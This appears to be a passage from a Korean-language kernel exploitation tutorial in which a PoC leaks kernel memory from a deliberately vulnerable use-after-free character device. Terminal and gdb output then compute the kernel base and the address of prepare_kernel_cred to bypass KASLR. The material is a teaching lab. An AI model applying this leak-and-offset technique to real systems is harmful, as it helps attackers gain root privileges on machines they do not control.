ffffffff87da35b0 r __kcrctab_prepare_kernel_cred
ffffffff87db01e7 r __kstrtab_prepare_kernel_cred
lazenca0x0@ubuntu:~/Exploit/uaf$ gdb -q
gdb-peda$ p 0xffffffff870a2890 - 0xa2890
$1 = 0xffffffff87000000
gdb-peda$ p 0xffffffff87a72cc0 - 0xffffffff87000000
$2 = 0xa72cc0
gdb-peda$
  • 우선 앞에서 계산한 offset 값(0xa72cc0)을 검증하기 위해 다음과 같이 시스템을 reboot하고 다시 커널의 주소를 유출합니다.
    • 이번에 유출된 커널의 주소는 0xffffffffa9a72cc0입니다.
Get kernel address from leaked data.
lazenca0x0@ubuntu:~$ sudo reboot

$ ssh lazenca0x0@192.168.0.13
lazenca0x0@192.168.0.13's password: 

lazenca0x0@ubuntu:~/Exploit/uaf$ sudo rmmod chardev 
lazenca0x0@ubuntu:~/Exploit/uaf$ sudo insmod ./chardev.ko 
lazenca0x0@ubuntu:~/Exploit/uaf$ sudo chmod 666 /dev/chardev0 
lazenca0x0@ubuntu:~/Exploit/uaf$ ./PoC-3 
01 54 00 00 01 00 00 00 00 00 00 00 00 00 00 00  | T
00 be 00 35 00 88 ff ff c0 2c a7 a9 ff ff ff ff  | �5����,������
04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 38 9c 63 39 00 88 ff ff  | 8�c9���
38 9c 63 39 00 88 ff ff 48 9c 63 39 00 88 ff ff  | 8�c9���H�c9���
48 9c 63 39 00 88 ff ff 50 16 08 3a 00 88 ff ff  | H�c9���P:���
01 00 00 00 00 00 00 00 68 9c 63 39 00 88 ff ff  | h�c9���
68 9c 63 39 00 88 ff ff 00 00 00 00 00 00 00 00  | h�c9���
00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00  | 
90 9c 63 39 00 88 ff ff 90 9c 63 39 00 88 ff ff  | ��c9�����c9���
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
01 00 00 00 00 00 00 00 b8 9c 63 39 00 88 ff ff  | ��c9���
b8 9c 63 39 00 88 ff ff 00 00 00 00 00 00 00 00  | ��c9���
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
e0 9c 63 39 00 88 ff ff e0 9c 63 39 00 88 ff ff  | ��c9�����c9���
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
01 00 00 00 00 00 00 00 08 9d 63 39 00 88 ff ff  | �c9���
08 9d 63 39 00 88 ff ff 00 00 00 00 00 00 00 00  |�c9���
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 bf 00 00 00 00 00 00 00  | �
00 03 1c 7f 15 04 00 01 00 11 13 1a 00 12 0f 17  | 
16 00 00 00 00 96 00 00 00 96 00 00 00 00 00 00  | ��
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
70 74 6d 34 00 00 00 00 00 00 00 00 00 00 00 00  | ptm4
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
01 08 01 00 00 00 00 00 01 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 00 a0 63 39 00 88 ff ff  | �c9���
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 38 9e 63 39 00 88 ff ff  | 8�c9���
38 9e 63 39 00 88 ff ff 00 00 00 00 00 00 00 00  | 8�c9���
50 9e 63 39 00 88 ff ff 50 9e 63 39 00 88 ff ff  | P�c9���P�c9���
e0 ff ff ff 0f 00 00 00 68 9e 63 39 00 88 ff ff  | ����h�c9���
68 9e 63 39 00 88 ff ff 50 96 4e a9 ff ff ff ff  | h�c9���P�N�����
00 20 e0 00 00 c9 ff ff 98 5c 57 3b 00 88 ff ff  |  �����\W;���
30 a9 a0 39 00 88 ff ff 30 a9 a0 39 00 88 ff ff  | 0��9���0��9���
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  | 
00 00 00 00 00 00 00 00 e0 ff ff ff 0f 00 00 00  | ����
c0 9e 63 39 00 88 ff ff c0 9e 63 39 00 88 ff ff  | ��c9�����c9���
d0 b6 4e a9 ff ff ff ff 00 56 99 37 00 88 ff 00  | жN�����V�7��
lazenca0x0@ubuntu:~/Exploit/uaf$ 
  • 앞에서 확인한 offset 값들을 이용하여 커널의 기본 주소와 prepare_kernel_cred() 함수의 주소를 알 수 있습니다.

    • 취약성을 통해 유출된 커널의 주소(0xffffffffa9a72cc0) - 유출된 주소에서 커널의 기본주소 까지의 offset(0xa72cc0) = 0xffffffffa9000000

    • 커널의 기본주소(0xffffffffa9000000) + prepare_kernel_cred함수의 offset(0xa2890) = 0xffffffffa90a2890

  • 다음과 같이 취약성을 통해 계산된 prepare_kernel_cred함수의 주소 값이 실제 주소와 동일하다는 것을 알 수 있습니다.
Find the base address of the kernel.
lazenca0x0@ubuntu:~/Exploit/uaf$ gdb -q
gdb-peda$ p 0xffffffffa9a72cc0 - 0xa72cc0
$1 = 0xffffffffa9000000
gdb-peda$ p 0xffffffffa9000000 + 0xa2890
$2 = 0xffffffffa90a2890
gdb-peda$ quit
lazenca0x0@ubuntu:~/Exploit/uaf$ sudo cat /proc/kallsyms |grep prepare_kernel_cred
ffffffffa90a2890 T prepare_kernel_cred
ffffffffa9d881d0 R __ksymtab_prepare_kernel_cred
ffffffffa9da35b0 r __kcrctab_prepare_kernel_cred
ffffffffa9db01e7 r __kstrtab_prepare_kernel_cred
lazenca0x0@ubuntu:~/Exploit/uaf$

References